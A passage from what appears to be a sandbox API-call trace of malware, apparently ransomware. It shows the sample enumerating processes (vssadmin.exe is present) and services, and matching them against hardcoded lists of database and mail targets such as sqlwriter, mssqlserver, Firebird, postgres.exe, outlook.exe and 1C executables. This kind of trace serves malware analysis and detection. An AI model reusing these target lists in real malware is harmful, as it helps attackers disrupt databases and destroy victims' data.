lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x124, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0218.988] lstrlenW (lpString="vssadmin.exe") returned 12 [0218.988] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0218.989] lstrlenW (lpString="VSSVC.exe") returned 9 [0218.989] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0218.989] lstrlenW (lpString="svchost.exe") returned 11 [0218.989] Process32NextW (in: hSnapshot=0x224, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0218.991] CloseHandle (hObject=0x224) returned 1 [0218.991] Sleep (dwMilliseconds=0x1f4) [0219.914] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x63fc30 [0219.914] EnumServicesStatusExW (in: hSCManager=0x63fc30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 0 [0219.914] GetLastError () returned 0xea [0219.914] EnumServicesStatusExW (in: hSCManager=0x63fc30, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3a0c628, cbBufSize=0x142e, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3a0c628, pcbBytesNeeded=0x1edff44, lpServicesReturned=0x1edff5c, lpResumeHandle=0x0) returned 1 [0219.915] CloseServiceHandle (hSCObject=0x63fc30) returned 1 [0219.915] lstrlenW (lpString="Appinfo") returned 7 [0219.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0219.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0219.915] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0219.915] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0219.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0219.915] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0219.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0219.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0219.915] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0219.915] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0219.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0219.915] lstrlenW (lpString="AudioSrv") returned 8 [0219.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0219.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0219.915] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0219.915] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0219.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0219.915] lstrlenW (lpString="BFE") returned 3 [0219.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0219.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0219.915] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0219.915] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0219.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0219.916] lstrlenW (lpString="CryptSvc") returned 8 [0219.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0219.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0219.916] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0219.916] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0219.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0219.916] lstrlenW (lpString="CscService") returned 10 [0219.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0219.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0219.916] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0219.916] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0219.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0219.916] lstrlenW (lpString="DcomLaunch") returned 10 [0219.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0219.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0219.916] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0219.916] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0219.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0219.916] lstrlenW (lpString="Dhcp") returned 4 [0219.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0219.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0219.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0219.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0219.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0219.916] lstrlenW (lpString="Dnscache") returned 8 [0219.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0219.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0219.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0219.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0219.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0219.916] lstrlenW (lpString="DPS") returned 3 [0219.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0219.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0219.916] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0219.916] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0219.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0219.916] lstrlenW (lpString="eventlog") returned 8 [0219.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0219.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0219.916] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0219.916] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0219.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0219.916] lstrlenW (lpString="EventSystem") returned 11 [0219.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0219.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0219.916] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0219.916] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0219.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0219.916] lstrlenW (lpString="FontCache") returned 9 [0219.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0219.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0219.917] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0219.917] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0219.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0219.917] lstrlenW (lpString="gpsvc") returned 5 [0219.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0219.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0219.917] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0219.917] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0219.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0219.917] lstrlenW (lpString="iphlpsvc") returned 8 [0219.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0219.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0219.917] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0219.917] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0219.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0219.917] lstrlenW (lpString="LanmanServer") returned 12 [0219.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0219.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0219.917] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0219.917] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0219.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0219.917] lstrlenW (lpString="LanmanWorkstation") returned 17 [0219.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0219.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0219.917] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0219.917] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0219.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0219.917] lstrlenW (lpString="lmhosts") returned 7 [0219.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0219.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0219.917] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0219.917] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0219.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0219.917] lstrlenW (lpString="MMCSS") returned 5 [0219.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0219.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0219.917] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0219.917] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0219.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0219.917] lstrlenW (lpString="MpsSvc") returned 6 [0219.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0219.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0219.917] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0219.917] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0219.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0219.917] lstrlenW (lpString="Netman") returned 6 [0219.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0219.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0219.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0219.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0219.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0219.918] lstrlenW (lpString="netprofm") returned 8 [0219.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0219.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0219.918] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0219.918] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0219.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0219.918] lstrlenW (lpString="NlaSvc") returned 6 [0219.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0219.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0219.918] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0219.918] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0219.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0219.918] lstrlenW (lpString="nsi") returned 3 [0219.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0219.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0219.918] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0219.918] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0219.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0219.918] lstrlenW (lpString="PcaSvc") returned 6 [0219.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0219.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0219.918] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0219.918] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0219.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0219.918] lstrlenW (lpString="PlugPlay") returned 8 [0219.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0219.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0219.918] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0219.918] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0219.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0219.918] lstrlenW (lpString="Power") returned 5 [0219.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0219.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0219.918] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0219.918] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0219.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0219.918] lstrlenW (lpString="ProfSvc") returned 7 [0219.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0219.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0219.918] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0219.918] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0219.918] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0219.918] lstrlenW (lpString="RpcEptMapper") returned 12 [0219.918] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0219.918] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0219.918] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0219.919] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0219.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0219.919] lstrlenW (lpString="RpcSs") returned 5 [0219.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0219.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0219.919] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0219.919] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0219.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0219.919] lstrlenW (lpString="SamSs") returned 5 [0219.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0219.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0219.919] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0219.919] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0219.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0219.919] lstrlenW (lpString="Schedule") returned 8 [0219.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0219.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0219.919] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0219.919] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0219.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0219.919] lstrlenW (lpString="SENS") returned 4 [0219.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0219.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0219.919] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0219.919] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0219.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0219.919] lstrlenW (lpString="ShellHWDetection") returned 16 [0219.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0219.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0219.919] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0219.919] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0219.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0219.919] lstrlenW (lpString="Spooler") returned 7 [0219.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0219.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0219.919] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0219.919] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0219.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0219.919] lstrlenW (lpString="sppsvc") returned 6 [0219.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0219.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0219.919] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0219.919] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0219.919] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="sppsvc") returned 1 [0219.919] lstrlenW (lpString="swprv") returned 5 [0219.919] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0219.919] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0219.920] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0219.920] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0219.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0219.920] lstrlenW (lpString="SysMain") returned 7 [0219.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0219.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0219.920] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0219.920] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0219.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0219.920] lstrlenW (lpString="Themes") returned 6 [0219.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0219.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0219.920] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0219.920] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0219.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0219.920] lstrlenW (lpString="TrkWks") returned 6 [0219.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0219.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0219.920] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0219.920] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0219.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0219.920] lstrlenW (lpString="UxSms") returned 5 [0219.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0219.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0219.920] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0219.920] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0219.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0219.920] lstrlenW (lpString="VSS") returned 3 [0219.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0219.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0219.920] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0219.920] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0219.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0219.920] lstrlenW (lpString="WdiServiceHost") returned 14 [0219.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0219.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0219.920] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0219.920] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0219.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0219.920] lstrlenW (lpString="WdiSystemHost") returned 13 [0219.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0219.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0219.920] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0219.920] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0219.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0219.920] lstrlenW (lpString="WinDefend") returned 9 [0219.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinDefend") returned -1 [0219.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinDefend") returned -1 [0219.920] lstrcmpiW (lpString1="sqlwriter", lpString2="WinDefend") returned -1 [0219.921] lstrcmpiW (lpString1="mssqlserver", lpString2="WinDefend") returned -1 [0219.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinDefend") returned -1 [0219.921] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0219.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0219.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0219.921] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0219.921] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0219.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0219.921] lstrlenW (lpString="Winmgmt") returned 7 [0219.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0219.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0219.921] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0219.921] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0219.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0219.921] lstrlenW (lpString="wscsvc") returned 6 [0219.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0219.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0219.921] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0219.921] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0219.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0219.921] lstrlenW (lpString="wuauserv") returned 8 [0219.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0219.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0219.921] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0219.921] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0219.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0219.921] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x21c [0219.923] Process32FirstW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0219.923] Process32NextW (in: hSnapshot=0x21c, lppe=0x1edfd34 | out: lppe=0x1edfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0219.924] lstrlenW (lpString="System") returned 6 [0219.924] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0219.924] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0219.924] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0219.924] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0219.924] Process32NextW (in: hSnapshot=0x21c, 